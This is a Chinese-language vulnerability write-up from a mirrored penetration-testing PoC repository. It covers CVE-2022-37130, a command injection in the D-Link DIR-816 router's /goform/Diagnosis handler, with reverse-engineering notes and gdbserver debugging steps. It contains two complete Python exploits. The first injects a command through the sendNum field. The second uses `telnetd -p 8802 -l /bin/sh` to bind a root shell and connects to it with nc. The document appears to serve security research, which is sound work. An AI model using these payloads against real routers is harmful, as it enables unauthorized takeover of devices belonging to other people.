mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-10-24 17:04:31 +00:00
211 lines
7.2 KiB
Markdown
211 lines
7.2 KiB
Markdown
# D-Link CVE-2022-37130
|
||||
|
|
> z1r0
|
|||
|
|
> 来源:https://www.iotsec-zone.com/article/250
|
|||
|
|
|
|||
|
|
> - Manufacturer’s address:[https://www.dlink.com/](https://www.dlink.com/)
|
|||
|
|
> - Firmware download address : [http://tsd.dlink.com.tw/GPL.asp](http://tsd.dlink.com.tw/GPL.asp)
|
|||
|
|
> - Affected version:DIR-816 A2_v1.10CNB04
|
|||
|
|
|
|||
|
|
## 前言
|
|||
|
|
|
|||
|
|
花了一段时间学了一下LLVM PASS PWN,现在有时间来搞IOT了,第一篇写了如何提取文件,如何对漏洞文件进行逆向分析,怎么触发漏洞,这一篇笔者还是对这个固件的漏洞进行分析,这次的漏洞是一个命令注入漏洞,会记录一下如何利用漏洞进行getshell操作
|
|||
|
|
|
|||
|
|
## 逆向分析漏洞点
|
|||
|
|
|
|||
|
|
漏洞点发生在`formDefineManagement`中的`Diagnosi`函数中
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
程序从用户那里得到sendNum并拼接到v10中,值得注意的是这里并没有进行任何过滤和限制,在最后会执行到dosystembk,导致了命令注入漏洞
|
|||
|
|
|
|||
|
|
## 漏洞利用
|
|||
|
|
|
|||
|
|
我们可以先把路由器的telnet开启登陆进去,这样做的原因是准备进行真机调试,我们需要去下载一个`gdbserver.mipsle`
|
|||
|
|
|
|||
|
|
然后在ubuntu上下载一个tftpd,并启动服务`sudo systemctl restart tftpd-hpa.service`,可以通过`sudo netstat -a | grep tftp`查看
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
把存放`gdbserver.mipsle`这个文件的目录做为主目录挂载到tftp上,使用telnet登录到路由器中
|
|||
|
|
|
|||
|
|
转到/tmp目录下,因为其他很多目录都是只读,然后将`gdbserver.mipsle`利用tftp传到/tmp下,并给上执行权限
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
接下来需要将goahead利用gdbserver给挂载到一个端口上,然后使用pwndbg对goahead进行调试分析,ps查看goahead的pid
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
`./gdbserver.mipsle :1234 --attach 42`挂载到1234端口上
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
到ubuntu上使用target remote去连接这个端口进行调试
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
正确加载了libc和text
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
在45ADB0这里下个断点准备去调试这个漏洞点,给出如下exp
|
|||
|
|
|
|||
|
|
在45ADB0这里下个断点准备去调试这个漏洞点,给出如下exp
|
|||
|
|
|
|||
|
|
连接到80端口,并发送POST数据包,漏洞点在/gofrom/Diagnosis中,只需将pingAddr设置一个ip就可以过`if ( !strcmp(pingAddr, "0.0.0.0") )`,接着在sendNum中填入`ls`,看一下是否最后可以执行到ls
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
import socket
|
|||
|
|
import os
|
|||
|
|
|
|||
|
|
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
|
|||
|
|
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
|
|||
|
|
|
|||
|
|
tokenid = b'1804289383'
|
|||
|
|
|
|||
|
|
ip = '192.168.0.1'
|
|||
|
|
port = 80
|
|||
|
|
|
|||
|
|
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|||
|
|
|
|||
|
|
li('[+] connecting')
|
|||
|
|
r.connect((ip, port))
|
|||
|
|
li('[+] connect finish')
|
|||
|
|
|
|||
|
|
rn = b'\r\n'
|
|||
|
|
|
|||
|
|
p2 = b'pingAddr=192.168.0.1&sendNum=`ls`&tokenid=1804289383'
|
|||
|
|
|
|||
|
|
p3 = b"POST /goform/Diagnosis" + b" HTTP/1.1" + rn
|
|||
|
|
p3 += b"Host: 192.168.0.1" + rn
|
|||
|
|
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
|
|||
|
|
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
|
|||
|
|
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
|
|||
|
|
p3 += b"Accept-Encoding: gzip, deflate" + rn
|
|||
|
|
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A" + rn
|
|||
|
|
p3 += b"Connection: close" + rn
|
|||
|
|
p3 += b"Upgrade-Insecure-Requests: 1" + rn
|
|||
|
|
p3 += (b"Content-Length: %d" % len(p2)) +rn
|
|||
|
|
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
|
|||
|
|
p3 += rn
|
|||
|
|
p3 += p2
|
|||
|
|
|
|||
|
|
li('[+] sending payload')
|
|||
|
|
r.send(p3)
|
|||
|
|
|
|||
|
|
response = r.recv(4096)
|
|||
|
|
response = response.decode()
|
|||
|
|
li(response)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
发送exp即可到断点,接着进行调试分析,发现可以成功执行到snprintf
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
如上,可以看到ls成功被放入v10,继续调试,到0x45AEEC这时里,发现这里执行的是`> /tmp/diagnosis`
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
继续往后调试也是最重要的dosystembk函数
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
因为mips的流水线,a1的值其实就是$sp + 0x28的值
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
参数均已经被放入doSystembk中,接下来需要做的就是跟进dosystembk中,看一下$sp + 0x28会不会被执行
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
但是在跟进dosystembk之后发现并不会创建子进程,最后创建的还是一个父进程
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
可以看到pid大于0,创建的是父进程
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
其实这个是gdb的原因,笔者写了一个程序测试了一下
|
|||
|
|
|
|||
|
|
```c
|
|||
|
|
#include <stdio.h>
|
|||
|
|
#include <stdlib.h>
|
|||
|
|
#include <sys/types.h>
|
|||
|
|
#include <unistd.h>
|
|||
|
|
|
|||
|
|
int main(int argc, char **argv){
|
|||
|
|
int v5;
|
|||
|
|
v5 = vfork();
|
|||
|
|
if ( !v5 ){
|
|||
|
|
puts("hello");
|
|||
|
|
exit(0);
|
|||
|
|
}
|
|||
|
|
return 0;
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
发现正常执行hello,但是在调试的时候vfork会变成父进程,v10就是ping的那一条命令
|
|||
|
|
|
|||
|
|
所以正常运行exp的时候会执行ls命令,但回显不了,那么如何getshell呢,没有nc但是有telnet,所以我们可以用telnet来弹一个shell
|
|||
|
|
|
|||
|
|
`telnetd -p 8802 -l /bin/sh`
|
|||
|
|
|
|||
|
|
需要注意的是>没有用,故exp如下
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
import socket
|
|||
|
|
import os
|
|||
|
|
|
|||
|
|
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
|
|||
|
|
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
|
|||
|
|
|
|||
|
|
tokenid = b'1804289383'
|
|||
|
|
|
|||
|
|
ip = '192.168.0.1'
|
|||
|
|
port = 80
|
|||
|
|
|
|||
|
|
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|||
|
|
|
|||
|
|
li('[+] connecting')
|
|||
|
|
r.connect((ip, port))
|
|||
|
|
li('[+] connect finish')
|
|||
|
|
|
|||
|
|
rn = b'\r\n'
|
|||
|
|
|
|||
|
|
p2 = b'pingAddr=192.168.0.1&sendNum=`telnetd -p 8802 -l /bin/sh`&tokenid=1804289383'
|
|||
|
|
|
|||
|
|
p3 = b"POST /goform/Diagnosis" + b" HTTP/1.1" + rn
|
|||
|
|
p3 += b"Host: 192.168.0.1" + rn
|
|||
|
|
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
|
|||
|
|
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
|
|||
|
|
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
|
|||
|
|
p3 += b"Accept-Encoding: gzip, deflate" + rn
|
|||
|
|
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A" + rn
|
|||
|
|
p3 += b"Connection: close" + rn
|
|||
|
|
p3 += b"Upgrade-Insecure-Requests: 1" + rn
|
|||
|
|
p3 += (b"Content-Length: %d" % len(p2)) +rn
|
|||
|
|
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
|
|||
|
|
p3 += rn
|
|||
|
|
p3 += p2
|
|||
|
|
|
|||
|
|
li('[+] sendling payload')
|
|||
|
|
r.send(p3)
|
|||
|
|
|
|||
|
|
response = r.recv(4096)
|
|||
|
|
response = response.decode()
|
|||
|
|
li(response)
|
|||
|
|
|
|||
|
|
li('[+] getshell! pwned by z1r0')
|
|||
|
|
os.system("nc 192.168.0.1 8802")
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
成功getshell
|
|||
|
|
|
|||
|
|
## 总结
|
|||
|
|
|
|||
|
|
笔者认为真机调试比模拟固件好点,因为不需要为了环境发愁,有很多时候模拟固件会失败有的时候vmmap都没有用
|